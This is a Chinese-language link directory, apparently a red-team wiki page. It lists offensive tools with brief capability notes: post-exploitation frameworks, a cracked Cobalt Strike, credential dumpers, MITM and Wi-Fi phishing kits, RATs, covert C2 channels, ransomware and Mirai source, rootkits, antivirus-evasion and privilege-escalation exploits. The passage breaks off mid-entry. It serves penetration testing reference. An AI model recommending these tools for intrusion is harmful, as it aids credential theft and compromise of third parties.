https://github.com/euphrat1ca/security_w1k1/blob/master/wiki_websec.md/ //web安全测试利用、前端安全、数据库sql注入、xss跨站、上传漏洞、命令注入执行、webshell、https证书加密。myWiki 后渗透拓展 https://github.com/rapid7/metasploit-framework //RUBY.后渗透框架。greatjob,17k。 https://github.com/EmpireProject/Empire //PS.后渗透命令执行框架。支持自定义域名host头绕过安全设备。testjob,4.5k。noupdate。 https://git.coding.net/ssooking/cobaltstrike-cracked //OracleJava8.cobalt strike是一个APT协同工作平台,支持自定义域名host头绕过安全设备。greatjob。G:rsmudge/armitage CobaltStrike社区版,通过调用msf。G:RASSec/Cobalt-Strike;。 https://github.com/GhostPack //C#.SpecterOps公司关于PowerShell 功能的各种 C# 实现的集合,包括信息搜集\权限提升\密钥窃取等 https://github.com/samratashok/nishang //PS.测试脚本集与开发框架。Check-VM检查虚拟机;Copy-VSS利用Volume Shadow Copy 服务来复制出SAM文件(密码);Invoke-CredentialsPhish欺骗用户输入账号密码信息;FireBuster FireListener对内网进行扫描;Get-Information信息收集。testjob,3k。 https://github.com/0xdea/tactical-exploitation //Python/PowerShell的测试脚本集 https://github.com/jmortega/python-pentesting //python-pentesting-tool,python安全工具相关 https://github.com/TheSecondSun/Bashark //Bash.后渗透框架。大鲨鱼 https://github.com/DarkSpiritz/DarkSpiritz //PY2.后渗透框架 https://github.com/xorrior/RemoteRecon //基于DotNetToJScript进行截图、key记录、token窃取、dll与恶意代码注入 https://github.com/0xwindows/VulScritp //内网渗透脚本,包括banner扫描、端口扫描;phpmyadmin、jenkins等通用漏洞利用等 https://github.com/zMarch/Orc //bash.Linux下后渗透命令集合 https://github.com/JoelGMSec/AutoRDPwn //PS4.远程桌面利用访问 https://github.com/JusticeRage/FFM //PY3.拥有下载、上传功能,生成可执行py脚本的后门的后渗透框架。 红队基础设施自动化部署建设 https://github.com/QAX-A-Team/LuWu //bash.红队基础设施自动化部署工具 公众号:红队攻防全流程解析 // 权限维持 https://mp.weixin.qq.com/s/SavldFETaFea3l7kVX2RyA //ATT&CK 之后门持久化 https://pentestlab.blog/2020/01/13/persistence-image-file-execution-options-injection/ //att&ck Image File Execution Options Injection 通过注册表图像文件执行选项将调试器附加到应用程序并启用“ GlobalFlag ”进行应用程序调试。 https://github.com/PowerShellMafia/PowerSploit //PS.测试脚本集与开发框架。AntivirusBypass寻找反病毒特征码,CodeExecution注入DLL脚本,Exfiltration隐私记录,Mayhem破坏,Persistence权限维持,Privesc提权,Recon信息收集,ScriptModification编码加密。Github:PowerView;Github:PowerUp;Github:PowerTools;Github:Shell-Suite;Github:Misc-Powershell-Scripts。5.4k。goodjob。 横向移动密码hash获取 http://www.oxid.it/cain.html //Cain & Abel。支持密码还原、arp攻击.NoUpdate。 https://github.com/gentilkiwi/mimikatz //C.Windows下进行凭证抓取横向移动.GREATJOB。 https://github.com/klsecservices/bat-armor //PY.bat文件混淆版mimikatz https://github.com/skelsec/pypykatz //PY3.使用python实现的mimikatz https://github.com/eladshamir/Internal-Monologue //C#.无需LSASS进程使用Mimikatz从LSASS进程内存中提取内容,从内存中提取明文密码,NTLM哈希,Kerberos ticket,以及执行pass-the-hash/pass-the-ticket攻击等 https://github.com/nccgroup/redsnarf //PS,PY.调用猕猴桃等程序窃取哈希,密码解密,rdp多方法利用,远程启动shell,清除痕迹。 https://github.com/aas-n/spraykatz //py3.Windows计算机和大型Active Directory环境中检索凭据的工具,对计算机进行“procdump(微软官方)”,并远程解析转储。 https://github.com/twelvesec/passcat //C.Windows 下密码抓取工具 https://github.com/huntergregal/mimipenguin //C.linux密码抓取 https://github.com/AlessandroZ/LaZagne //py3.跨平台密码抓取工具。在win下,V2.4相较于V2.3抓取到的内容会少一些。greatjob,4.7k。 https://github.com/AlessandroZ/LaZagneForensic //LaZagne密码破解升级版,利用DPAPI,目前缺陷是需要windows user密码 https://github.com/putterpanda/mimikittenz //PS.类似于lazagne可以获取用户级密码。利用"ReadProcessMemory()“方法从目标进程中提取纯文本密码。 https://github.com/quarkslab/quarkspwdump //quarkslab出品的密码抓取工具,不用注入任何进程 https://github.com/mthbernardes/sshLooter //从ssh服务中窃取用户名密码 https://github.com/nettitude/Invoke-PowerThIEf //利用IE进行后渗透,抓取密码、重定向等 https://github.com/GhostPack/Rubeus //C#.操作Kerberos的库, 实现了Kekeo的大部分功能 https://github.com/m8r0wn/ldap_search //PY.通过ldap(轻量目录访问协议)认证,列举win域信息,爆破登录 https://github.com/lgandx/Responder //PY.用于嗅探网络内所有的NTLM、NTLMv1/v2、Net-NTLMv1/v2包,对网络内主机进行欺骗获取用户hash。testjob,4k。 https://github.com/RhinoSecurityLabs/Security-Research/blob/master/tools/ms-office/subdoc-injector //PY.构造恶意office文件,配合responder窃取凭证哈希。Security-Research作者的工具库。noupdate。 https://blog.netspi.com/microsoft-word-unc-path-injection-image-linking/ //intro.Microsoft Word – UNC Path Injection with Image Linking,word利用图片和responder窃取ntlm哈希 https://github.com/chroblert/domainWeakPasswdCheck //ps.域账号弱口令审计 https://github.com/0x09AL/RdpThief //C++.RDP密码抓取明文。G:citronneur/rdpy; 横向移动哈希传递 https://github.com/SecureAuthCorp/impacket //Python工具包。Impacket是用于处理网络协议的,内网中可用以提权例如wmiexec.py、NMB,SMB1-3和MS-DCERPC提供对协议实现本身的低级别编程访问。testjob,4K。 https://github.com/maaaaz/impacket-examples-windows //Impacket打包exe版 https://github.com/byt3bl33d3r/CrackMapExec //PY/PS.CME利用AD内置功能/协议规避大多数终端防护/IDS/IPS.包含impacket、PowerSploit等多种模块.testjob,3K。 https://github.com/SpiderLabs/scavenger //CrackMapExec二次包装开发,内网敏感信息扫描 https://github.com/FortyNorthSecurity/WMImplant //PS.利用WMI横向移动。Github:FortyNorthSecurity/WMIOps;Github:secabstraction/WmiSploit。 https://github.com/Kevin-Robertson/Inveigh //PS.LLMNR/mDNS/NBNS欺骗器 https://github.com/poweradminllc/PAExec //C++.类PSEXEC远程$IPC控制。 https://github.com/byt3bl33d3r/pth-toolkit //PY.hash传递,wmi移动等。 后渗透白利用 https://github.com/securemode/DefenderKeys //枚举出被 Windows Defender 排除扫描的配置 https://github.com/lucasg/Dependencies //C#.基于"depends.exe"发现Windows exe dll文件依赖查询。goodjob。 https://github.com/jivoi/openssh-backdoor-kit //bash.openssh后门编译生成 https://www.4hou.com/technology/16713.html //通过模拟可信目录绕过UAC的利用分析\模拟可信目录的利用技巧扩展 https://github.com/LOLBAS-Project/LOLBAS //Windows系统白利用工具集 https://github.com/g3rzi/Manifesto //C#.寻找系统中存在可执行权限的组件 https://github.com/ufrisk/MemProcFS //C.以访问文件系统的方式访问物理内存,可读写,有易于使用的接口. 当前支持Windows https://github.com/mdsecactivebreach/SharpPack //C#.绕过系统应用白名单执行DotNet and PowerShell tools https://payloads.online/archivers/2018-12-22/1 //INTRO.DLL Hijacking & COM Hijacking ByPass UAC - 议题解读。qingxuan。 https://github.com/sensepost/rattler //C++.自动化dll劫持注入。G:rootm0s/WinPwnage; https://github.com/stephenfewer/ReflectiveDLLInjection //C.一种库注入技术,让DLL自身不使用LoadLibraryA函数,将自身映射到目标进程内存中 https://github.com/mdsecactivebreach/RDPInception/ //BAT.rdp服务劫持,利用ps反弹shell https://github.com/gianlucaborello/libprocesshider //C.利用 LD_PRELOAD 来实现系统函数的劫持,在linux 下隐藏进程 https://github.com/lmacken/pyrasite //PY3.对运行中dpython进程注入,支持≥py2.4 签名提取伪造修改 https://github.com/threatexpress/metatwin //从一个文件中提取元数据,包括数字签名,并注入到另一个文件中 https://github.com/Mr-Un1k0d3r/Windows-SignedBinary //可以修改二进制文件的HASH,同时保留微软windows的签名 https://github.com/secretsquirrel/SigThief //PY.用于劫持合法的数字签名并绕过Windows的哈希验证机制的脚本工具 https://github.com/secretsquirrel/SigThi //PY3.伪造程序签名。 进程隐藏 https://www.cnblogs.com/mysgk/p/9602977.html //INTRO.linux 下隐藏进程的一种方法。利用libprocesshider https://github.com/M00nRise/ProcessHider //C++.Windows下隐藏进程 https://github.com/malcomvetter/UnstoppableService //C#.将自身安装为Windows服务且管理员无法停止/暂停服务的程序. 资产管理信息搜集 https://github.com/cea-sec/ivre //PY.网络资产指纹发现,bro/argus/nfdump/p0f/nmap/zmap/masscan/数据库mongoDB。Github:Scan-T;G:LangziFun/LangNetworkTopology3; https://github.com/w-digital-scanner/w12scan //py3.django + elasticsearch + redis(去重+web与client通信中间件)网络资产发现引擎,通过WEB API下发任务 https://github.com/w-digital-scanner/w12scan-client //PY.w12scan网络资产发现引擎client客户端。boy-hack开发 https://github.com/BloodHoundAD/BloodHound //PS.使用图论进行内网信息域内关系与细节整理,作为DEFCON 24的免费开源工具发布。通过脚本导出域内的session、computer、group、user等信息,入库后进行可视化分析域成员和用用户关系。testjob,3k。 https://www.4hou.com/penetration/5752.html //INTRO.域渗透提权分析工具 BloodHound 1.3 中的ACL攻击路- https://github.com/scallywag/nbtscan //C.NetBIOS协议主机设备发现。NetBScanner、nmap、msf都有此功能,这个比较轻。 https://github.com/royhills/arp-scan //C.ARP协议主机设备发现。 https://github.com/fdiskyou/hunter //C++.调用 Windows API 对内网信息进行搜集很全面 https://github.com/m8r0wn/nullinux //PY.用于Linux的内部渗透测试工具,可用于通过SMB枚举操作系统信息,域信息,共享,目录和用户。 https://github.com/grayddq/PubilcAssetInfo //PY3.主要目标是以甲方安全人员的视角,尽可能收集发现企业的域名和服务器公网IP资产。如百度云、阿里云、腾讯云等。一个人的安全部 https://github.com/grayddq/PublicMonitors //PY3.对公网IP列表进行端口服务扫描,发现周期内的端口服务变化情况和弱口令安全风险。一个人的安全部 径介绍 https://github.com/sowish/LNScan //详细的内部网络信息扫描器 https://github.com/dr0op/bufferfly //PY3.资产/域名存活验证,标题获取,语料提取,端口检测。 https://github.com/ywolf/F-NAScan //PY2.网络资产、端口服务搜集整理,生成报表显示。 https://github.com/flipkart-incubator/RTA //PY2.扫描公司内部所有在线设备,提供整体安全视图,标示所有安全异常。 https://docs.microsoft.com/en-us/sysinternals/downloads/sigcheck //可以查看 exe 的 manifest,在 manifest 中可以看到程序的权限。有 asInvoker highestAvailable requireAdministrator 资产管理风险测试 https://github.com/ysrc/xunfeng //PY.巡风采用web界面,由同程安全开发的网络资产识别引擎,漏洞检测引擎。goodjob。2k。 https://gobies.org/ //goby是白帽汇资产风险管理工具。端口、服务、截图、弱口令测试。W:rumble.run; https://github.com/jeffzh3ng/Fuxi-Scanner //PY2.资产管理,漏洞检测集成awvs、创宇Pocsuite、nmap、hydra https://github.com/lcatro/network_backdoor_scanner //C++.反向链接、内外网穿透、通信数据加密,http弱口令破解。 https://github.com/vletoux/pingcastle //PY.AD域信息威胁等级测试 https://github.com/0xbug/Biu-framework //PY.企业内网基础服务安全扫描框架 https://github.com/lawrenceamer/0xsp-Mongoose //PHP.CS架构资产安全检测工具,汇集多种redteam toolkit。 https://github.com/mitre/caldera //mitre公司apt攻击模拟测试,主要针对win。 https://github.com/guardicore/monkey //PY.C2架构,利用默认口令、exp、多种协议(wmi组件、ssh、smb等)方式进行攻击检测,恶意病毒传播模拟测试。guardicore.com/infectionmonkey。 https://github.com/NextronSystems/APTSimulator //bat.Windows下apt攻击模拟测试 https://github.com/alphasoc/flightsim //Golang.malicious恶意网路流量模拟测试 资产漏洞生命周期管理 https://github.com/infobyte/faraday //协作渗透测试和漏洞管理平台,集成多种 https://github.com/DefectDojo/django-DefectDojo //PY.基于django的漏洞资产管理平台 https://github.com/creditease-sec/insight //web界面。宜信安全部开发,集成应用系统资产管理、漏洞全生命周期管理、安全知识库管理三位一体的管理平台 https://github.com/RASSec/A_Scan_Framework //漏洞管理、资产管理、任务扫描系统 https://github.com/zhaoweiho/SecurityManageFramwork //PY3.SecurityManageFramwork-SeMF基于django2,包含资产管理,漏洞管理,账号管理,知识库管、安全扫描自动化功能模块,可用于企业内部的安全管理。goodjob。 MITM攻击流量劫持 https://github.com/bettercap/bettercap //GO.中间人欺骗,网络攻击以及监控的瑞士军刀。该工具支持多种模块,比如ARP/DNS欺骗、TCP以及数据包代理等.5K.GREATJOB. https://github.com/mitmproxy/mitmproxy //PY.中间人攻击,支持SSL拦截,进行https流量代理。greatjob。15k。 https://github.com/qiyeboy/BaseProxy //PY3.异步http/https代理,楼上简化版。可以作为中间人工具,比如说替换网址图片等 https://github.com/LionSec/xerosploit //中间人攻击测试工具包 https://github.com/infobyte/evilgrade //一个模块化的脚本框架,使攻击者在不知情的情况下将恶意更新注入到用户更新中 https://github.com/AlsidOfficial/WSUSpendu //可以自主创建恶意更新,并将其注入到WSUS服务器数据库中,然后随意的分发这些恶意更新 https://github.com/quickbreach/smbetray //专注于通过文件内容交换、lnk交换来攻击客户端,以及窃取任何以明文形式传输的数据 https://github.com/mrexodia/haxxmap //对IMAP服务器进行中间人攻击 https://github.com/SySS-Research/Seth //PY3/BASH。Linux下MitM RDP远程服务中间人攻击。G:citronneur/rdpy rdp远程服务模拟开启 http://ntwox.sourceforge.net //ntwow多协议伪造,网络测试工具集 https://github.com/Ekultek/suddensix //bash.SLAAC(无状态地址自动配置)攻击自动化脚本,可用于在IPv4基础架构上构建IPv6覆盖网络,以执行中间人攻击。 wifi中间人攻击 https://github.com/wifiphisher/wifiphisher //PY.中间人攻击,FakeAp恶意热点,WIFI钓鱼,凭证窃取。goodjob,7k。 https://github.com/1N3/PRISM-AP //自动部署RogueAP(恶意热点) MITM攻击框架 https://github.com/sensepost/mana //Wifi劫持工具,可以监听计算机或其他移动设备的Wifi通信,并能够模仿该设备 https://github.com/deltaxflux/fluxion //bash,PY.对使用wpa协议的无线网络进行MiTM攻击 https://github.com/DanMcInerney/LANs.py //PY.无线网络劫持ARP欺骗 硬件中间人攻击 https://github.com/tenable/router_badusb //利用路由器USE上网口和DHCP协议,使用树莓派连接VPN模拟流量转发进行中间人攻击 远程管理控制 https://labs.mwrinfosecurity.com/tools/c3/ //C++.红队C2通讯框架。Github:mwrlabs/C3;Github:cobbr/Covenant。 https://github.com/quasar/QuasarRAT //C#.多sessions,界面化。goodjob。2.4k。Github:NYAN-x-CAT/AsyncRAT-C-Sharp。 https://github.com/tiagorlampert/CHAOS //GO.win远控,自带upx。welljob。 https://github.com/zerosum0x0/koadic //PY3.大宝剑基于JScript/VBScript 进行控制,多版本系统支持在内存中运行shell.GOODJOB,1k。 https://github.com/BlackHacker511/BlackRAT //JAVA.跨平台rat。 https://github.com/Ne0nd0g/merlin //GO.c2通讯,多session。 https://github.com/Tiked/Client //GO.跨平台rat。 https://github.com/yuanyuanxiang/SimpleRemoter //C++/C.基于大灰狼gh0st的远程控制器。 https://github.com/xdnice/PCShare //C++.远程控制软件,可以监视目标机器屏幕、注册表、文件系统等。0.2k。 https://github.com/TheM4hd1/Vayne-RaT //C#.一对多,界面。 https://github.com/TheSph1nx/RT-101 //C#.一对多,界面。 https://github.com/DannyTheSloth/VanillaRat //C#.SIMPLE,界面。 https://github.com/brunull/pace //C#.SIMPLE,界面。 https://github.com/nettitude/PoshC2 //PowerShell/C#.远控工具,有win提权组件 https://github.com/peterpt/fuzzbunch //PY2.方程式NSA漏洞利用远控RAT,配有自动化安装脚本与gui界面。永恒之蓝、永恒浪漫、永恒冠军、双星脉冲 https://github.com/nathanlopez/Stitch //PY.Windows、Mac OSX、Linux跨平台。welljob,1k。 https://github.com/Mr-Un1k0d3r/ThunderShell //PY2.CLI与web端,内存加载,RC4加密HTTP传输 https://github.com/Ridter/MyJSRat //PY2.利用js后门,配合chm、hta可实现很多后门方式。evi1cg.me/archives/chm_backdoor.html。welljob。 https://github.com/Hood3dRob1n/JSRat-Py //PY.jsrat改进版。 https://github.com/its-a-feature/Apfell //PY3.macOS与linux下的利用js后门,web界面管理 https://github.com/neoneggplant/EggShell //PY.macos/osx远控,可生成HID代码,多session。testjob。noupdate。 https://github.com/Marten4n6/EvilOSX //PY.macos/osx远控,多session。testjob。noupdate。 https://github.com/vesche/basicRAT //PY3.simple远控,多session。 多姿态远控shell https://github.com/ZHacker13/ReverseTCPShell //PS.对tcp流量进行aes加密,增强版NC。G:sweetsoftware/Ares;G:5alt/ZeroRAT; https://blog.csdn.net/Fly_hps/article/list/8?/ //FLy_鹏程万里【基础篇】———— 隐匿攻击之,ICMP/DNS/DropBox/Office 365/mail/app/webSocketSiteKeywordDomainApi/PS/WindowsDomWmi/webDav/https/images/JS/Proxy等多协议 https://github.com/0nise/shell-plus //Java.基于 RMI 的一款服务器管工具,由服务端、注册中心、客户端进行组成。 https://github.com/inquisb/icmpsh //C.Simple reverse ICMP shell。Github:PiX-C2;Github:icmptunnel;。 https://github.com/iagox86/dnscat2 //RUBY/C.cs结构,利用DNS协议进行端对端传输。Github:yarrick/iodine;Github:lukebaggett/dnscat2-powershell;Github:ahhh/Reverse_DNS_Shell。2k。goodjob。 https://www.4hou.com/penetration/18447.html //域渗透——利用dnscmd在DNS服务器上实现远程加载Dll https://github.com/no0be/DNSlivery //PY3.基于scapy利用dns协议传输文件,条件简单。 https://github.com/Coalfire-Research/Slackor //GO,PY3.基于slack框架命令控制,利用dns隐匿信道传输。集成spookflare/impacket/pypykatz。simple。goodjob。 https://github.com/DamonMohammadbagher/NativePayload_ARP //C#.利用arp协议传输后门 https://github.com/byt3bl33d3r/gcat //PY2.使用 gmail 作为 C&C 服务器。Github:gdog;Github:Powershell-RAT。 https://github.com/mvrozanti/RAT-via-Telegram //PY3.Windows下利用telegram的远程控制工具。Github:Parat;Github:twittor;Github:补bt2(Blaze Telegram Backdoor Toolkit); https://github.com/0x09AL/Browser-C2 //GO.利用chrome以浏览器的形式连接C2服务器 https://github.com/peewpw/Invoke-PSImage //PS.将PS脚本隐藏进PNG像素中后上传到web服务器,通过命令加载隐藏在图片里的载荷。1k。NoUpdate。Github:et0x/C2。 https://github.com/Arno0x/WSC2 //PY.利用web套接字WebSockets进行数据传输 https://github.com/deepzec/Grok-backdoor //PY.利用ngrok的后门 https://github.com/trustedsec/trevorc2 //PY.搭建一个可浏览网站用于隐藏命令执行的客户端/服务器通信。Github:WebDAVC2; https://github.com/h0mbre/Dali //PY.利用图片像素进行C2服务器通讯,Image_Based_C2_PoC。 移动端远程协助 https://spynote.us //商业版。 http://droidjack.net/ //商业版。 https://github.com/AhMyth/AhMyth-Android-RAT //Smali.Android平台一对多带界面。goodjob。 https://github.com/The404Hacking/AndroRAT //JAVA.Android平台一对多带界面。 https://github.com/n1nj4sec/pupy //PY.Windows、Linux、OSX、Android跨平台,多session。testjob,5k。 https://github.com/home-assistant/home-assistant //PY.物联网管理集群控制平台 僵木蠕远程协助 https://github.com/panda-re/lava //批量恶意程序注入 https://github.com/malwaredllc/byob //僵尸网络生成框架 https://github.com/proxycannon/proxycannon-ng 构建僵尸网络 https://github.com/deadPix3l/CryptSky/ //勒索软件源码 https://github.com/jgamblin/Mirai-Source-Code //C.MIRAI蠕虫病毒源码.6K。 https://github.com/NYAN-x-CAT/Lime-RAT //VB.勒索病毒源码 https://github.com/mwsrc/njRAT //VB.源码 https://github.com/euphrat1ca/njRAT-v0.7d //vb.常见蠕虫远控,有很多变种,多session带界面 shell反弹rootkit生成 https://github.com/sysdream/chashell //Golang。利用dns反弹shell https://github.com/WangYihang/Platypus //GO.反弹shell管理工具 https://github.com/FlyfishSec/rsGen //BAT.Windows下远程反弹shell命令行工具 https://github.com/sensepost/DNS-Shell //PY.本地利用53端口nslookup传输加密的ps命令,回弹shell https://github.com/tokyoneon/Armor //bash.生成加密 Payload 在 macOS 上反弹 Shell https://github.com/GuestGuri/Rootkit //PY.反弹一个tcp连接,将进程id绑定到一个空文件夹 https://github.com/f0rb1dd3n/Reptile //C.LKM Linux rootkit。1k。 https://github.com/islamTaha12/Python-Rootkit //PY.windows下rootkit远控,反弹meterpreter https://github.com/mhaskar/Linux-Root-Kit //PY.simple。linux简单rootkit https://github.com/PinkP4nther/Sutekh //C.rootkit使普通用户获取root shell 后门生成与混淆免杀 https://github.com/TideSec/BypassAntiVirus //远控免杀系列 https://github.com/Veil-Framework/Veil //PY.Msf免杀。1.5K。 https://github.com/Screetsec/TheFatRat //JAVA.msf免杀,利用searchsploit快速搜索 https://github.com/Screetsec/Vegile //SHELL/C.msf免杀,程序注入 https://github.com/MohamedNourTN/Terminator //PY2.msf免杀 https://github.com/abedalqaderswedan1/aswcrypter //py,bash.msf免杀 https://github.com/pasahitz/zirikatu //msf免杀 https://github.com/govolution/avet //msf免杀 https://github.com/GreatSCT/GreatSCT //msf免杀 https://github.com/EgeBalci/HERCULES //msf免杀 https://github.com/trustedsec/nps_payload //msf免杀 https://github.com/hlldz/SpookFlare //PY.客户端与网络端策略绕过,msf/empire/koadic生成加载混淆免杀。goodjob。 https://github.com/n00py/Hwacha //linux下快速生成metepreter等多种payload https://github.com/4w4k3/Insanity-Framework //PY.生成免杀payload,识别虚拟机,钓鱼,内存注入等 https://github.com/trustedsec/unicorn //PY.一键生成多种后门 https://github.com/Kkevsterrr/backdoorme //py3、py2。多种类型的后门、shell生成工具,可以自动维持权限 https://github.com/pasahitz/regsvr32 //C#.使用C#+Empire实现最小体积免杀后门 https://github.com/Cn33liz/StarFighters //基于DotNetToJScript,利用JavaScript和VBScript执行Empire Launcher https://github.com/mdsecactivebreach/SharpShooter //基于DotNetToJScript使用js、vbs,用于检索和执行任意CSharp源码的payload创建框架 https://github.com/mdsecactivebreach/CACTUSTORCH //基于DotNetToJScript使用js、vbs生成恶意payload https://github.com/OmerYa/Invisi-Shell //对powershell文件进行混淆 https://github.com/danielbohannon/Invoke-DOSfuscation //对powershell文件进行混淆,加密操作以及重新编码 https://github.com/danielbohannon/Invoke-Obfuscation //对powershell文件进行混淆,加密操作以及重新编码 https://github.com/Mr-Un1k0d3r/MaliciousMacroGenerator //VBA.宏混淆,其中还包括AV/Sandboxes逃避机制 https://github.com/9aylas/Shortcut-Payload-Generator 快捷方式(.lnk)文件Payload生成器.AutoIt编写 劫持注入权限绕过 https://github.com/D4Vinci/PasteJacker //剪贴板劫持利用工具 https://github.com/ChrisAD/ads-payload //利用环境变量与destop.ini绕过windows下的Palo Alto Traps https://github.com/hfiref0x/UACME //C.基于Failure-Free Method(FFM)的包含许多用于多个版本操作系统上绕过Windows用户帐户控制的方法 https://github.com/sailay1996/UAC_Bypass_In_The_Wild //利用Windows store bypass uac https://github.com/St0rn/Windows-10-Exploit //PY\msf插件,win10 uacbypass https://github.com/Hackplayers/evil-winrm //ruby.利用WinRM shell进行soap协议传输绕过防火墙,来完成测试操作 https://github.com/NYAN-x-CAT/Disable-Windows-Defender //C#.Changing values to bypass windows defender https://github.com/tyranid/DotNetToJScript //C#.能够利用JS/Vbs脚本加载.Net程序的工具 https://github.com/Ben0xA/nps //C#.实现不调用powershell.exe执行powershell命令 https://github.com/Mr-Un1k0d3r/PowerLessShell //PY.实现不调用powershell.exe执行powershell命令 https://github.com/p3nt4/PowerShdll //使用rundll32运行PowerShell,绕过软件限制 https://github.com/ionescu007/r0ak //内核层的瑞士军刀. 在Windows10内核中读/写/执行代码 https://github.com/leechristensen/UnmanagedPowerShell //从非托管程序执行PowerShell,支持进程注入 endpoint 防护软件 shellcode相关 https://www.shellterproject.com //shellter是一款的动态Shellcode注入工具。商业版。 https://github.com/r00t-3xp10it/venom //linux下metasploit Shellcode generator/compiller。Unix/Win/Web/Apk/IOS/MSoffice多种类型生成 https://github.com/secretsquirrel/the-backdoor-factory //PY/C.通过填充无用数据空间,后门程序shellcode生成,dll程序劫持。NoUpdate https://github.com/DimopoulosElias/SimpleShellcodeInjector //C.以十六进制的方式执行shellcode,绕过杀软。 https://github.com/clinicallyinane/shellcode_launcher/ //C++.加载shellcode方式的payload到内存 https://github.com/Zer0Mem0ry/RunPE //C++.通过内存读取,网络传输内容,利用PE执行shellcode https://github.com/brimstone/go-shellcode //GO.加载载荷到内存 https://github.com/TheWover/donut //C.将.Net程序集生成shellcode并以内存的形式加载运行 https://github.com/Mr-Un1k0d3r/DKMC/ //Don’t kill my cat.生成混淆的shellcode,将shellcode存储在多语言图像中 https://github.com/Rvn0xsy/Cooolis-ms //PY.Cooolis-ms 是一个支持Metasploit Framework RPC的一个服务端,用于给Shellcode和PE加载器工作,在一定程度上绕过反病毒软件的静态查杀,同时可以让Cooolis-ms服务端与Metasploit服务器进行分离。 https://github.com/Cooolis/Cooolis.github.io //Cooolis是一个操作系统命令技巧备忘录包含工具。qingxuan。https://cooolis.payloads.online 提权相关 https://github.com/AlessandroZ/BeRoot //PY.通过检查常见的错误配置来查找提权方法. 支持Windows/Linux/Mac https://github.com/lawrenceamer/0xsp-Mongoose //PHP.提权枚举工具包,通过webApi上报信息。 Linux提权相关 https://github.com/Ignitetechnologies/Privilege-Escalation //Linux下的提权方法总结 https://github.com/rebootuser/LinEnum //bash.对Linux系统可提权检测。goodjob,2k。Github:linuxprivchecker; https://github.com/jondonas/linux-exploit-suggester-2 //perl.查找linux哪些补丁没有打,存在提权利用。Github:linux-exploit-suggester; https://github.com/belane/linux-soft-exploit-suggester //查找linux那些软件有漏洞 https://github.com/SecWiki/linux-kernel-exploits //linux-kernel-exploits Linux平台提权漏洞集合,CVE与年份对照排列。3k。G:xairy/kernel-exploits;G:Kabot/Unix-Privilege-Escalation-Exploits-Pack/; https://guif.re/linuxeop //linux提权命令集合 https://github.com/mschwager/0wned //PY.利用python包进行高权限用户创建 https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs //C.脏牛提权漏洞exp集合wiki。Github:DirtyCow-EXP;dirtycow.ninja。2.3k。 https://github.com/euphrat1ca/CVE-2016-5195 //C++,GO.脏牛提权漏洞exp,Linux 平台 和 Android 平台。release。 https://github.com/jas502n/CVE-2018-17182 //Linux 内核VMA-UAF 提权漏洞(CVE-2018-17182) https://github.com/stanleyb0y/sushell //利用su小偷实现低权限用户窃取root用户口令 https://github.com/jas502n/CVE-2018-17182/ //Linux 内核VMA-UAF 提权漏洞 CVE-2018-17182 https://github.com/jas502n/CVE-2018-14665 //CVE-2018-14665,linux下Xorg X服务器提权利用 https://github.com/nmulasmajic/syscall_exploit_CVE-2018-8897 //Linux系统利用Syscall实现提权 https://github.com/can1357/CVE-2018-8897 //Linux系统利用Syscall实现提权 https://github.com/nilotpalbiswas/Auto-Root-Exploit //linux自动提权脚本 https://github.com/WazeHell/PE-Linux //Linux提权工具 Windows提权利用相关 http://www.fuzzysecurity.com/tutorials/16.html //windows平台教程级提权参考文章 https://github.com/bitsadmin/wesng //PY.WES-NG,全称为Windows ExploitSuggester - Next Generation,该工具的运行基于Windows systeminfo实用工具的输出,可以给用户提供目标操作系统可能存在的漏洞列表,并针对这些漏洞给出漏洞利用实施建议。该工具的适用系统范围从Windows XP到Windows 10,还包括Windows Server等服务器/工作站版本。1k。 https://github.com/rasta-mouse/Sherlock //PS.win提权漏洞验证。1k。 https://github.com/SecWiki/windows-kernel-exploits //Windows平台提权漏洞Exp集合 https://github.com/51x/WHP //windows下各种提权与利用工具 https://github.com/taviso/ctftool/ //C.利用Windows文本服务框架(TSF)下CTF文本服务协议实现权限提升、沙箱逃逸、读写输入内容等。 https://github.com/WindowsExploits/Exploits //微软CVE-2012-0217、CVE-2016-3309、CVE-2016-3371、CVE-2016-7255、CVE-2017-0213提权利用 https://github.com/SandboxEscaper/polarbearrepo //C++.Win 10计划任务本地权限提升、win server 2016-2019提权 https://github.com/breenmachine/RottenPotatoNG //C++.CVE漏洞编号:CVE-2016-3225,烂土豆ms16-075利用NBNS本地域名欺骗和WPAD代理欺骗提权 https://github.com/decoder-it/lonelypotato //RottenPotatoNG变种,利用NBNS本地域名欺骗和WPAD代理欺骗提权 https://github.com/ohpe/juicy-potato //RottenPotatoNG变种,利用com对象、用户token进行提权 https://github.com/foxglovesec/Potato //RottenPotatoNG变种,利用本地域名欺骗和代理欺骗提权 https://github.com/DanMcInerney/icebreaker //处于内网环境但又在AD环境之外,icebreaker将会帮助你获取明文Active Directory凭据(活动目录存储在域控服务器可用于提权) https://github.com/hausec/ADAPE-Script //Active Directory权限提升脚本 https://github.com/klionsec/BypassAV-AllThings //利用aspx一句话配合提权payload提权 https://github.com/euphrat1ca/ms15-051 //C++.Windows 内核模式驱动程序中的漏洞可能允许特权提升 (3057191),WS03-08。release。 https://github.com/sam-b/CVE-2014-4113 //利用Win32k.sys内核漏洞进行提取,ms14-058 https://github.com/unamer/CVE-2018-8120 //影响Win32k组件,针对win7和win2008提权 https://github.com/alpha1ab/CVE-2018-8120 //在win7与win2k8的基础上增加了winXP与win2k3 https://github.com/0xbadjuju/Tokenvator //使用Windows令牌提升权限的工具,提供一个交互命令行界面 https://github.com/dirkjanm/PrivExchange //PY.基于impacket,利用exchange提升system权限。Abusing Exchange: One API call away from Domain。CVE-2019-1040 文件捆绑 https://github.com/islamadel/bat2exe //VB.将bat文件转换为exe二进制文件。 https://github.com/tywali/Bat2ExeConverter //将bat文件转换为exe二进制文件 https://github.com/Juntalis/win32-bat2exe //将bat文件转换为exe二进制文件 http://www.f2ko.de/downloads/Bat_To_Exe_Converter.zip //将bat文件转换为exe二进制文件,可以隐藏窗口。 https://github.com/r00t-3xp10it/trojanizer //将两个可执行文件打包为自解压文件,自解压文件在执行时会执行可执行文件 https://github.com/r00t-3xp10it/backdoorppt //将payload更换图标 https://github.com/r00t-3xp10it/FakeImageExploiter //将payload更换图标。需要wine与resourcehacker环境 https://github.com/DamonMohammadbagher/FakeFileMaker //更换图标和名称 https://github.com/deepzec/Bad-Pdf //生成一个pdf文件,内含payload来窃取win上的Net-NTLM哈希 https://github.com/3gstudent/Worse-PDF //向PDF文件中插入恶意代码,来窃取win上的Net-NTLM哈希 数据取回隐秘传输 https://github.com/TryCatchHCF/Cloakify 